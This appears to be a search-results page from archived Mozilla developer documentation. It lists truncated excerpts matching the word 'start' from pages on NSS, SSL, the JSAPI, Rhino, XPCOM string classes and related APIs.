start mxr 3.2 and later sec_pkcs7decoderupdate mxr 3.2 and later sec_pkcs7decryptcontents mxr 3.2 and later sec_pkcs7destroycontentinfo mxr 3.2 and later sec_pkcs7encode mxr 3.3 and later sec_pkcs7encodeitem mxr 3.9.3 and later sec_pkcs7...
... mxr 3.2 and later sec_pkcs7destroycontentinfo mxr 3.2 and later sec_pkcs7encode mxr 3.3 and later sec_pkcs7encodeitem mxr 3.9.3 and later sec_pkcs7encoderabort mxr 3.9 and later sec_pkcs7encoderfinish mxr 3.2 and later sec_pkcs7encoder
start mxr 3.2 and later sec_pkcs7encoderupdate mxr 3.2 and later sec_pkcs7getcertificatelist mxr 3.2 and later sec_pkcs7getcontent mxr 3.2 and later sec_pkcs7getencryptionalgorithm mxr 3.2 and later sec_pkcs7getsignercommonname mxr 3.4 and later ...
NSS reference
the proposed chapters below are based on the chapters of the ssl reference and the categories of functions in nss public functions. should a particular page require the use of an underscore, please see the documentation for the title override extension. building and installing nss overview of an nss application based on "overview of an ssl application" in the ssl reference. getting
started with nss based on "getting
started with ssl" in the ssl reference. data types based on "selected ssl types and structures" in the ssl reference. nss initialization and shutdown nss_init nss_initreadwrite nss_nodb_init nss_initialize nss_shutdown utility functions based on "utility functions" in nss public functions. certificate functions based on certificate functions in the ssl...
... #12 functions based on "archived pkcs #12 functions documentation." used to exchange data such as private keys and certificates between two parties. ...
OLD SSL Reference
und in the current nss reference ssl reference newsgroup: mozilla.dev.tech.crypto writer: sean cotter manager: wan-teh chang chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications. this chapter introduces some of the basic ssl functions. ...
...the sample code and makefiles are available via lxr in the sslsamples directory. ...
sslintro.html
be very much appreciated. upgraded documentation may be found in the current nss reference overview of an ssl application chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications. this chapter introduces some of the basic ssl functions. chapter 2, "getting
started with ssl" illustrates their use in sample client and server applications. an ssl application typically includes five parts: initialization configuration communication functions used by callbacks cleanup although the details differ somewhat for client and server applications, the concepts and many of the functions are the same for both. warning: some of the ssl header files provid...
...pplication or a server application when the ssl handshake is completed. optional. communication at this point the application has set up the socket to communicate using ssl. for simple encrypted and authenticated communications, no further calls to ssl functions are required. a variety of additional ssl functions are available, however. these can be used, for example, when interrupting and re
starting socket communications, when the application needs to change socket parameters, or when an application imports a socket into ssl after the tcp connection on that socket has already been established. communication between ssl sockets always begins with the ssl handshake. the handshake occurs automatically the first time communication is requested with a socket read/write or send/receive call. i...
Utility functions
sec_asn1decoderclearfilterproc mxr 3.2 and later sec_asn1decoderclearnotifyproc mxr 3.2 and later sec_asn1decoderfinish mxr 3.2 and later sec_asn1decodersetfilterproc mxr 3.2 and later sec_asn1decodersetnotifyproc mxr 3.2 and later sec_asn1decoder
start mxr 3.2 and later sec_asn1decoderupdate mxr 3.2 and later sec_asn1encode mxr 3.2 and later sec_asn1encodeinteger mxr 3.2 and later sec_asn1encodeitem mxr 3.2 and later sec_asn1encoderabort mxr 3.9 and later sec_asn1encoderclearnoti...
... sec_asn1encodercleartakefrombuf mxr 3.2 and later sec_asn1encoderfinish mxr 3.2 and later sec_asn1encodersetnotifyproc mxr 3.2 and later sec_asn1encodersetstreaming mxr 3.2 and later sec_asn1encodersettakefrombuf mxr 3.2 and later sec_asn1encoder
start mxr 3.2 and later sec_asn1encoderupdate mxr 3.2 and later sec_asn1encodeunsignedinteger mxr 3.11.1 and later sec_asn1lengthlength mxr 3.2 and later sec_dupcrl mxr 3.9 and later sec_getsignaturealgorithmoidtag mxr 3.10 and later sec...
Network Security Services
formation on standards supported, see overview of nss. for a list of frequently asked questions, see the faq. nss is available under the mozilla public license. for information on downloading nss releases as tar files, see download pki source. if you're a developer and would like to contribute to nss, you might want to read the documents highlevel overview of internal details of nss and getting
started with nss. documentation background information overview of nss provides a brief summary of nss and its capabilities. nss faq answers basic questions about nss. introduction to public-key cryptography explains the basic concepts of public-key cryptography that underlie nss. introduction to ssl introduces the ssl protocol, includin...
...mary of nss and its capabilities. nss faq answers basic questions about nss. introduction to public-key cryptography explains the basic concepts of public-key cryptography that underlie nss. introduction to ssl introduces the ssl protocol, including information about cryptographic ciphers supported by ssl and the steps involved in the ssl handshake. getting
started nss releases this page contains information about the current and past releases of nss. get the source code and build it instructions on how to build nss on the different supported platforms. nss apis introduction to network security services provides an overview of the nss libraries and what you need to know to use them. nss ssl public f...
Necko Interfaces Overview
syncopen method nsiprotocolhandler a service that manages a protocol, identified by it's uri scheme (eg. ...
...tocolhandler a service that manages a protocol, identified by it's uri scheme (eg. ...
Tutorial: Embedding Rhino
pt value to a string. exiting the context the code } finally { context.exit(); } exits the context. this removes the association between the context and the current thread and is an essential cleanup action. there should be a call to exit for every call to enter. to make sure that it is called even if an exception is thrown, it is put into the finally block corresponding to the try block
starting after context.enter(). expose java apis using java apis no additional code in the embedding needed! the javascript feature calledliveconnect allows javascript programs to interact with java objects: $ java runscript "java.lang.system.out.println(3)" 3.0 undefined implementing interfaces using rhino, javascript objects can implement arbitrary java interfaces. there's no java code to writ...
...mplement arbitrary java interfaces. there's no java code to write -- it's part of rhino's liveconnect implementation. for example, we can see how to implement java.lang.runnable in a rhino shell session: js> obj = { run: function() { print("hi"); } } [object object] js> obj.run() hi js> r = new java.lang.runnable(obj); [object object] js> t = new java.lang.thread(r) thread[thread-0,5,main] js> t.
start() hi adding java objects the next example is runscript2. this is the same as runscript, but with the addition of two extra lines of code: object wrappedout = context.javatojs(system.out, scope); scriptableobject.putproperty(scope, "out", wrappedout); these lines add a global variable out that is a javascript reflection of the system.out variable: $ java runscript2 "out.println(42)" 42.0 un...
Tracing JIT
the recorder is asked to record a bytecode that it cannot, for various low-level reasons, faithfully record, the recorder may choose to abort the recording. aborting a recording is always an option in tracemonkey, and on abort the monitor simply discards the recorder and its fragment and returns to monitoring mode. the monitor also keeps track of how many times it has attempted to record a trace
starting at each pc value, so if a particular pc causes too many aborted recordings, the monitor blacklists the pc and will not attempt recording it any longer. if the recorder completes recording at a backward branch back to the initial pc value that triggered recording mode, it is said to have successfully closed the loop. a closed loop is passed through the nanojit assembler and thereby compiled to...
...ve stack are deferred until trace-exit, as an optimization. if the side exit condition indicates that the trace exited successfully -- simply running out of native code or hitting a branch condition that no native code yet exists to handle -- the monitor will inspect the hit count for the trace-exiting pc. if that pc has itself grown hot, the monitor will immediately transition to recording mode
starting with the exiting pc. otherwise it will return to monitoring mode. if the side exit condition indicates that the trace exited unsuccessfully -- due to encountering sufficient memory pressure to trigger a garbage collection, running out of native stack space, expiring a timer or any similar abnormal condition -- the monitor returns to monitoring mode. some other terminology may be helpful whe...
JS::HandleValueArray
values js::autovaluevector & elements of newly created array. values js::autovaluearray & elements of newly created array. args js::callargs & elements of newly creat...
...js::callargs & elements of newly created array. len size_t (frommarkedlocation only) length of elements array or (subarray only) length of sub array of values. elements js::value * (frommarkedlocation only) a pointer to the first element of an array of js::value. values js::handlevaluearray (subarray only) an array to get sub array.
startindex size_t (subarray only) an index of the first element of subarray of values. methods method description size_t length() const returns the length of the array. const value *begin() const returns the pointer to the first element of the array. js::handlevalue operator[](size_t i) const returns i-th element of the array. descrip...
JSClass.flags
op, not a jsenumerateop. jsclass_new_resolve obsolete since jsapi 36 this class's resolve hook is actually a jsnewresolveop, not a jsresolveop. jsclass_share_all_properties obsolete since javascript 1.8.5 instructs spidermonkey to automatically give all properties of objects of this class the jsprop_shared attribute. jsclass_new_resolve_gets_
start obsolete since jsapi 16 the resolve hook expects to receive the
starting object in the prototype chain passed in via the *objp in/out parameter. (this is meaningful only if the jsclass_new_resolve flag is also set.) jsclass_construct_prototype obsolete since jsapi 11 instructs js_initclass to invoke the constructor when creating the class prototype. jscla...
...is_global, jsclass_is_proxy, and jsclass_has_cached_proto. jsapi applications should not use these flags. ...
JS_DumpHeap
obsolete since jsapi 38this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8 debug only. dump the object graph of heap-allocated things. ...
... bool js_dumpheap(jsruntime *rt, file *fp, void*
startthing, jsgctracekind kind, void *thingtofind, size_t maxdepth, void *thingtoignore); name type description cx jscontext * pointer to a js context. every jscontext is permanently associated with a jsruntime; each jsruntime contains a gc heap. fp file * file for the dump output.
startthing void * null or a pointer to a gc thing (use js::value::togcthing() to obtain a pointer to pass here). when null, dump all things reachable from the runtime roots. when non-null, dump only things reachable from the object indicated.
startkind jsgctracekind trace kind of
startthing, if
startthing is not null. must be jstrace_object when
startthing is null. thingto...
JS_NewDependentString
create a new javascript string containing a range of characters from an existing string. syntax jsstring * js_newdependentstring(jscontext *cx, js::handlestring str, size_t
start, size_t length); name type description cx jscontext * the context in which to create the new string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. str js::handlestring the string containing the characters for the new string.
start size_t the
start index of the substring. length size_t length of the substring, in characters. description js_newdependentstring creates a new string as a substring of an existing javascript string, str. the new string contains the same ch...
...the characters are not copied. instead, the new string shares str's existing character storage. (implementation note: because of this sharing, the garbage collector will not collect str as long as the new substring is reachable.) on success, js_newdependentstring returns a pointer to the new string. otherwise it returns null. ...
JSAPI reference
spidermonkey and the jsapi. a note on versioning: up until the release of firefox 4, spidermonkey, and thus the jsapi, was versioned in an ad-hoc way, with releases happening at times that roughly, but not really, corresponded to firefox releases. in the fall of 2012, the spidermonkey team decided to align releases with those of firefox. the reference applies this versioning scheme retroactively
starting with firefox 5. firefox 4 is the last release that has a corresponding spidermonkey release with the old scheme, where the jsapi has the version 1.8.5. runtimes and contexts js_init added in spidermonkey 31 js_shutdown struct jsruntime js_newruntimeobsolete since jsapi 52 js_destroyruntime js_getruntimeprivate js_setruntimeprivate js_setnativestackquota added in spidermonkey 17 ...
... jsclass method types: jspropertyop jsstrictpropertyop added in spidermonkey 1.9.3 jsdeletepropertyop added in s...
TPS Tests
eate a new firefox account using a restmail.net email address (strictly speaking, restmail isn't required, but it will allow tps to automatically do account confirmation steps for you. even if you opt not to use restmail, do not use your personal firefox account, as tps will delete and replace the data in it many times, not to mention the first run is very likely to fail, since it expects a clean
start). note: be prepared not to use your computer for 15 or so minutes after
starting a full run of tps, as it will open and close a fairly large number of firefox windows. steps get the source code clone mozilla-central (choose your flavor): hg clone hg.mozilla.org/mozilla-central or git clone github.com/mozilla/gecko-dev cd into the tps folder cd ...
...sually need to scroll up a bit in the log past the end of the test to find the actual failure. when one of the cleanup phases fails (often possible if firefox crashes or tps hangs), there's no guarantee that the data was properly cleaned up, and so the next tps test you run may fail due to the leftover data. this means you may want to run a tps test twice to see if it really failed, or it just
started with garbage. feel free to ask for help with setting up and running tps in the #sync irc channel! ...
Web Replay
continues as a standalone project. learn more web replay allows firefox content processes to record their behavior, replay it later, and rewind to earlier states. replaying processes preserve all the same js behavior, dom structures, graphical updates, and most other behaviors that occurred while recording. devtools' debugger and console can be used to inspect and control the replay. getting
started to enable web replay (macos and firefox nightly only), go to devtools settings and select "enable webreplay". web replay's features can only be used in a tab that is recording or replaying. there are a few ways to
start recording a tab: record current tab open the developer tools and click the button indicated below. this will refresh the tab and
start recording. the button will be colo...
...ress the pause button and then the play button to run forward to the end of the recording. save recording and replay on the same machine clicking the 'tools -> web developer -> web replay -> save recording' menu item when a recording tab is open will allow the entire recording to be saved to a file. clicking the 'tools -> web developer -> web replay -> load recording in new tab' menu item will
start a new tab which replays the recording to the end. the developer tools can be used to interact with this tab in the same way as a recording tab, though playing forward to the end will pause the tab instead of allowing further recording. save recording and replay on a different machine (partially implemented) recordings can be replayed on a different machine from the one which recorded them. th...
Mozilla Projects
scripting for midas is based on the dhtml commands supported by internet explorer. internet explorer supports the ability to make an entire document editable by setting the designmode property of the document object; this is how midas is invoked in gecko. internet explorer also supports the ability to edit specific elements using the contenteditable attribute;
starting with firefox 3, gecko also supports contenteditable. once midas is invoked, a few more methods of the document object become available. mozinfo throughout mozmill and other mozilla python code, checking the underlying platform is done in many different ways. the various checks needed lead to a lot of copy+pasting, leaving the reader to...
...a client application. these operations include setting up an ssl connection, object signing and signature verification, certificate management (including issuance and revocation), and other common pki functions. pork pork is a c++ parsing and rewriting tool chain. the core of pork is a c++ parser that provides exact character positions for the
start and end of every ast node, as well as the set of macro expansions that contain any location. this information allows c++ to be automatically rewritten in a precise way. the inputs driving the rewriting would normally be provided by a program-analysis system outside of pork. (see dehydra, treehydra). rhino rhino is an open-source imp...
Mork
the information on this page was constructed by reading the source code of the mork database in mozilla and attempting to codify what it parses as faithfully as possible. in a few cases, constructs that the parser supported but were never used in mozilla's code are left unspecified. ...
...ied. dictionaries a dictionary establishes a series of aliases. if inside the meta-dictionary, the only cell we care about is if the key is 'a' (for atom scope). this value is used to establish which dictionary the aliases are added to. most files will have just two dictionaries: the column scope dictionary ('c') and the value scope dictionary ('v', the default). the keys are hexadecimal numbers
starting at 0x80, because the values less than 0x80 are theoretically their representative ascii values. tables a table is set of rows, potentially with a meta-row. the table id is specified using the mid at the beginning of the table. furthermore, the scope of the mid also serves as the default scope of rows defined within the table. the meta-row of the table (different from the meta-row of a row) con...
Using the Places livemark service
as it will appear in the bookmark's title. the third parameter is the uri of the site the livemark was created from (specified as an nsiuri object. fourth argument is the uri of the actual rss feed. the last argument takes in the index to insert at, or -1 to append the new livemark to the end of the folder. you can convert a string into an nsiuri using nsiioservice. when creating livemarks during
startup, you should use the nsilivemarkservice.createlivemarkfolderonly() to avoid http traffic. this creates the encapsulating livemark without actually fetching the rss feed's contents. var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]. getservice(components.interfaces.nsinavbookmarksservice); var root = bmsvc.bookmarksmenufolder; // item id of the...
... associated with a livemark container. note: the caller is responsible for reloading the livemark after changing its feed uri (since the contents are likely to be different given a different feed). livemarkservice.setfeeduri(newlvmkid, uri("http://foo.example.com/rss.xml")); //newlvmkid = see "create a new livemark" for more detail. update behavior five seconds after the browser
starts up, the livemark service's update timer is
started. the update timer fires immediately, and then every 15 minutes thereafter. when the update timer fires, it iterates over the list of livemarks, and will refresh a livemark *only* if it's expired. the expiration time for a livemark is determined by using information provided by the server when the feed was requested, specifically nsicacheentryinf...
extIApplication
this content covers features introduced in thunderbird 3 the extiapplication is defined in toolkit/components/exthelper/extiapplication.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. method overview boolean quit() boolean re
start() void getextensions(extiextensionscallback acallback) attributes the following interfaces are available to all applications: attribute type description id readonly attribute astring the id of the application. name readonly attribute astring the name of the application. version readonly attribute astring the version number of the application. console re...
... windows readonly attribute nsivariant an array of browser windows within the application. activewindow readonly attribute fueliwindow the currently active browser window. methods quit() attempts to shutdown the application. it is possible for the shutdown to be canceled. boolean quit() return value boolean value indicating whether the shutdown was successful. re
start() attempts to re
start the application. it is possible for the re
start to be canceled. boolean re
start() return value boolean value indicating whether the re
start was successful. getextensions(acallback) calls acallback with the list of installed extensions. void getextensions(extiextensionscallback acallback) return value none. xpcom although the application object is preloaded into ...
How to build an XPCOM component in JavaScript
see xpcom changes in gecko 2.0 for more details. installation for extensions: copy helloworld.js, and helloworld.xpt (only if you defined and compiled the idl) to {extensiondir}/components/. delete compreg.dat and xpti.dat from ...
...ll need to declare your component in chrome.manifest; classdescription and contractid properties on the other hand are no longer required. see xpcom changes in gecko 2.0 for more details. installation for extensions: copy helloworld.js, and helloworld.xpt (only if you defined and compiled the idl) to {extensiondir}/components/. delete compreg.dat and xpti.dat from your profile directory. re
start application. for firefox: copy helloworld.js, and helloworld.xpt (only if you defined and compiled the idl) to the {objdir}/dist/bin/components directory, if running from the source. delete compreg.dat and xpti.dat from the components directory. delete compreg.dat and xpti.dat from your profile directory. re
start application. using your component using wrappedjsobject if you only inte...
Preface
ely accurate, or is severely deprecated. if you are a historian, though... creating xpcom components is meant for c++ developers. though you can create xpcom components in javascript and other languages, and though you might be able to follow along as a c programmer, the component implementation code is written in c++, and much of the discussion of how to make your codeinto an xpcom component
starts from c++. you don't need to be a c++ expert, however. although basic ideas such as inheritance and encapsulation should be familar to you, wherever possible they are explained in the book as they are used. also many of the examples are in javascript, which is used in mozilla to access xpcom components as scriptable objects, and so familiarity with that language is useful as well. xpcom stands f...
...eb browsing, xpcom's main client is gecko, an open source, standards compliant, embeddable web browser, where it's easiest and most practical to illustrate xpcom's functionality. a full description of the component in this tutorial can be found in the what we'll be working on section of the tutorial. despite what old documentation says, xpcom should not be used to make npapi plugins scriptable.
starting with gecko 1.7.5 (firefox 1.0) a special npapi extension for scriptability is supported, see scripting plugins. organization of the tutorial the following list provides an overview of the steps that we will take to build an xpcom component called weblock, which provides site blocking functionality to gecko-based browsers. each one of these steps has its own chapter, in which a number of top...
Using XPCOM Components
applications like the mozilla browser are sophisticated, modularized clients of xpcom components. ...
... for unrestricted use. addsite add a new site to the whitelist. removesite remove a given site from the whitelist. sites enumerator for the list of approved sites read in from the whitelist. the weblock component is software that implements all of these methods in the way described by the interface definition. it registers itself for use when the browser
starts up, and provides a factory that creates an instance of it for use when the user or administrator clicks the weblock icon in the browser's user interface. component use in mozilla so how are components obtained and used in mozilla? you've seen some enticing snippets of javascript in earlier sections of this chapter, but we haven't explained how xpcom makes components available in general. this...
XPCOM Stream Guide
that reach out over a network connection, like http and ftp channels.) stream listeners implement three methods. from the nsistreamlistener interface, the .ondataavailable(request, context, inputstream, offset, count) method gives you the input stream and the number of bytes available. the stream listener must read exactly count bytes before exiting. from the nsirequestobserver interface, the .on
startrequest(request, context) method tells you when the request begins, while the .onstoprequest(request, context) method tells you when the request ends. a request will have one .on
startrequest(request, context) call, followed by at least one .ondataavailable(...) call, followed by one .onstoprequest(request, context) call. the context argument will be something passed from whoever invokes the reque...
...st, context) method tells you when the request begins, while the .onstoprequest(request, context) method tells you when the request ends. a request will have one .on
startrequest(request, context) call, followed by at least one .ondataavailable(...) call, followed by one .onstoprequest(request, context) call. the context argument will be something passed from whoever invokes the request to the .on
startrequest(), .ondataavailable(), and .onstoprequest() methods of the listener. as for passing in the stream listener and
starting the request: that will vary depending on the use case. seekable streams some streams are "seekable": they let you specify where in the stream you are reading from (instead of requiring it be from the beginning). they can also report their current position in the file. ...
Profiling XPCShell
20] createdatetime() {60-62} 579 {min 0, max 3, avg 0, sum 427, self 427} [2,56810] cp_qi() {860-866} 835 {min 0, max 1, avg 0, sum 950, self 950} the first line tells which file was profiled. then, the next lines shows the amount of time spend in the functions in that file. the line consists of: the compile count of the function; the call count of the function; the functions name; the
starting line number; the ending line number; the function's size; the amount of time (in milliseconds) the fastest call took; the time of the slowest call; the average time spend; the total time; the time spend in the function itself is given (that is the total time excluding the time spend in functions called from this function). notes you need a trunk build from after 2007-05-28. using an ...
...all; the average time spend; the total time; the time spend in the function itself is given (that is the total time excluding the time spend in functions called from this function). notes you need a trunk build from after 2007-05-28. using an earlier build will cause the profiler to hang the more adventurous can use the nsixpctoolsprofiler.idl interface directly, but be aware that you must
start the profiler before loading the files you want to profile (creating an instance of a component loads the file!) ...
NS ConvertASCIItoUTF16 external
char* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* astr replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cut
start pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cut
start pruint32 cutlength nsastring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
NS ConvertUTF16toUTF8 external
ers char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
NS ConvertUTF8toUTF16 external
char* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* astr replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cut
start pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cut
start pruint32 cutlength nsastring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
NS LossyConvertUTF16toASCII external
ers char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
PromiseFlatCString (External)
ers char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
PromiseFlatString (External)
char* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* astr replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cut
start pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cut
start pruint32 cutlength nsastring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
Replace
« xpcom api reference summary the replace family of functions sets the value of a string's internal buffer. void replace( index_type acut
start, index_type acutlength, const self_type& astring ); parameters acut
start [in] the
starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. astring [in] a nsacstring to append to this string. void replace( index_type acut
start, size_type acutlength, const char_type* adata, size_type adatalength = pr_uint32_max ); parameters acut
start [in] the
starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. adata [in] a raw character array ...
...on to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. adata [in] a raw character array to append to this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. void replace( index_type acut
start, index_type acutlength, char_type achar ); parameters acut
start [in] the
starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. achar [in] a character to append to this string. remarks if insufficient memory is available to perform the assignment, then the string's internal buffer will point t...
nsACString (External)
g&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
Replace
« xpcom api reference summary the replace family of functions sets the value of a string's internal buffer. void replace( index_type acut
start, index_type acutlength, const self_type& astring ); parameters acut
start [in] the
starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. astring [in] a nsastring to append to this string. void replace( index_type acut
start, size_type acutlength, const char_type* adata, size_type adatalength = pr_uint32_max ); parameters acut
start [in] the
starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. adata [in] a raw character array t...
...on to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. adata [in] a raw character array to append to this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. void replace( index_type acut
start, index_type acutlength, char_type achar ); parameter acut
start [in] the
starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. achar [in] a character to append to this string. remarks if insufficient memory is available to perform the assignment, then the string's internal buffer will point to...
nsAString (External)
nst char*) - source parameters char* astr operator= nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source parameters prunichar achar replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cut
start pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cut
start pruint32 cutlength nsastring& readable append void append(prunichar) - source parameters prunichar c void append(const prunichar...
...parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prb...
nsAutoString (External)
char* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* astr replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cut
start pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cut
start pruint32 cutlength nsastring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
nsCAutoString (External)
ers char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
nsCStringContainer (External)
tring&) - source parameters nsacstring astring nsacstring operator=(const char*) - source parameters char aptr nsacstring operator=(char) - source parameters char achar replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring readable ...
... parameters char aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the string...
nsCString external
ers char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
nsDependentCString external
ers char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
nsDependentString external
char* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* astr replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cut
start pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cut
start pruint32 cutlength nsastring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
nsLiteralCString (External)
ers char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
nsLiteralString (External)
ers char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
nsStringContainer (External)
